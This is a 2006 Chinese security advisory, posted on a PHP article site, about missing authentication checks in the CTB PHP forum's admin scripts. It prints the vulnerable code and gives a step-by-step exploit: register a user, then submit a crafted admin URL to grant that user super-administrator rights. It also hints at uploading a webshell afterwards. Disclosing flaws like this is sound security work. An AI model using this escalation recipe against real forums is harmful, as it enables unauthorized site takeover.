漂亮但不安全的CTB


Posted in PHP onOctober 09, 2006

>>>Dedicated This Scrap To CaoJing<<< 

涉及版本: 
^^^^^^^ 
目前所有版本(现在1.3Alpha为最高版本) 

描述: 
^^^^^^ 
CTB是一款由实易数码<11cn.org>;开发和维护的源代码开放的PHP论坛。由于其后台管理文件验证存在缺陷,可能导致非法用户直接添加论坛超级管理员,进而威胁论坛或服务器安全。 

具体: 
^^^^ 
CTB书写非常规范,代码井然有序,赏心悦目,的确是优美的程序;特别是其功能模块,着实让小弟学习了一把。但安全方面却令人堪忧: 

试看如下代码: 

/admin/main.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 //获取get变量 
   if( is_array($_GET) ) { 
      foreach($_GET as $k=>$v) { 
           if( is_array( $_GET[$k]) ) { 
               foreach($_GET[$k] as $k2=>$v2) { 
                   $return[$k][$k2] = $v2; 
               } 
           } else { 
               $return[$k] = $v; 
           } 
       } 

... 
$mod = isset($_GET['mod']) ? $_GET['mod'] : $_POST['mod']; 
   if (!file_exists($mod.".php" { 
       $mod = "mainright"; 
   } 
   require_once ($mod.".php"; 
   //----------------------------------------------------------------------------- 

   //初始化类变量 
   $ctb = new Module; 
   $ctb->set = $set; 
   $ctb->tplPath = "./templates"; 
   $ctb->input = $return; 
   $ctb->sess = isset($_COOKIE["sess_adminname"]) ? $_COOKIE : $_SESSION; 
   $ctb->execute(); 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

这里没有任何验证,我们看看添加管理员的文件: 

/admin/systemuser.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
class Module extends CommonClass 
//系统管理模块子类 

   function execute() { 
       switch($this->input['action']) { 
... 
case 'addSystemUser': 
               $this->addSystemUser(); 
               break; 
... 
    }       
   } 

function addSystemUser() 

   //输入数据简单格式化 
   $this->inputCheck("main.php?mod=systemuser&action=showSystemUser"; 
   //执行添加操作 
        $this->file = "../".$this->set[dataPath]."/users/list.php"; 
   $systemLine = $this->select(4, $this->input['systemUserName']); 
.... 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

依然没有验证,一路顺利啊! 

利用方法: 
^^^^^^^ 
先注册一个用户: 

登陆ID:  cat 
用户名 :   dog 
密码:      ilikecat 
重复密码:  ilikecat 
信箱:      cat@dog.com 

接着提交如下URL: 

http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

哈哈,你现在已经是超级管理员了,不相信?提交如下URL后台登陆: 

http://www.psych.com/ctb/admin/main.php?mod=login 

管理名称:  cat 
管理密码:  ilikecat 

咦...还真成功了! 

你现在是不是想更改后台上传文件类型,然后upload webshell?哼,被我猜到了吧... 

后记:另外发现CTB代码注释有些扎眼的错别字,大煞风景,希望可以一起修正。

PHP 相关文章推荐
Extended CHM PHP 语法手册之 DIY
Oct 09 PHP
PHP memcache扩展的三种安装方法
Apr 26 PHP
php 数据库字段复用的基本原理与示例
Jul 22 PHP
浅析SVN常见问题及解决方法
Jun 21 PHP
php获取文件大小的方法
Feb 26 PHP
ThinkPHP中ajax使用实例教程
Aug 22 PHP
PHP的Yii框架中Model模型的学习教程
Mar 29 PHP
PHP进行批量任务处理不超时的解决方法
Jul 11 PHP
php中bind_param()函数用法分析
Mar 28 PHP
php 如何设置一个严格控制过期时间的session
May 05 PHP
php+ajax实现仿百度查询下拉内容功能示例
Oct 20 PHP
jQuery ajax+PHP实现的级联下拉列表框功能示例
Feb 12 PHP
自动跳转中英文页面
Oct 09 #PHP
随机头像PHP版
Oct 09 #PHP
1.PHP简介
Oct 09 #PHP
5.PHP的其他功能
Oct 09 #PHP
2.PHP入门
Oct 09 #PHP
4.与数据库的连接
Oct 09 #PHP
利用PHP创建动态图像
Oct 09 #PHP
You might like
php.ini 中文版
2006/10/28 PHP
php使用pear_smtp发送邮件
2016/04/15 PHP
PHP面向对象多态性实现方法简单示例
2017/09/27 PHP
Wordpress ThickBox 点击图片显示下一张图的修改方法
2010/12/11 Javascript
封装了一个js图片轮换效果的函数
2011/09/28 Javascript
jquery入门—选择器实现隔行变色实例代码
2013/01/04 Javascript
js实现两个值相加alert出来精确到指定位
2013/09/25 Javascript
JavaScript中的this关键字使用方法总结
2015/03/13 Javascript
jquery插件uploadify实现带进度条的文件批量上传
2015/12/13 Javascript
在js中做数字字符串补0(js补零)
2017/03/25 Javascript
vue监听scroll的坑的解决方法
2017/09/07 Javascript
web前端页面生成exe可执行文件的方法
2018/02/08 Javascript
JS实现把一个页面层数据传递到另一个页面的两种方式
2018/08/13 Javascript
vue父子组件的通信方法(实例详解)
2019/11/10 Javascript
JS如何监听div的resize事件详解
2020/12/03 Javascript
python实现中文分词FMM算法实例
2015/07/10 Python
Python如何获取系统iops示例代码
2016/09/06 Python
CentOS 7下安装Python 3.5并与Python2.7兼容并存详解
2017/07/07 Python
Python更新数据库脚本两种方法及对比介绍
2017/07/27 Python
Python处理CSV与List的转换方法
2018/04/19 Python
python并发爬虫实用工具tomorrow实用解析
2019/09/25 Python
python中Lambda表达式详解
2019/11/20 Python
什么是python类属性
2020/06/10 Python
基于python爬取链家二手房信息代码示例
2020/10/21 Python
使用html5新特性轻松监听任何App自带返回键的示例
2018/03/13 HTML / CSS
Tiqets英国:智能手机上的文化和娱乐门票
2019/07/10 全球购物
八一建军节感言
2014/02/28 职场文书
请假条格式范文
2014/04/10 职场文书
党的群众教育实践活动实施方案
2014/06/12 职场文书
企业读书活动总结
2014/06/30 职场文书
小学领导班子对照材料
2014/08/23 职场文书
2014办公室年度工作总结
2014/12/09 职场文书
英文慰问信
2015/02/14 职场文书
茶花女读书笔记
2015/06/29 职场文书
告知书格式
2015/07/01 职场文书
工商局调档介绍信
2015/10/22 职场文书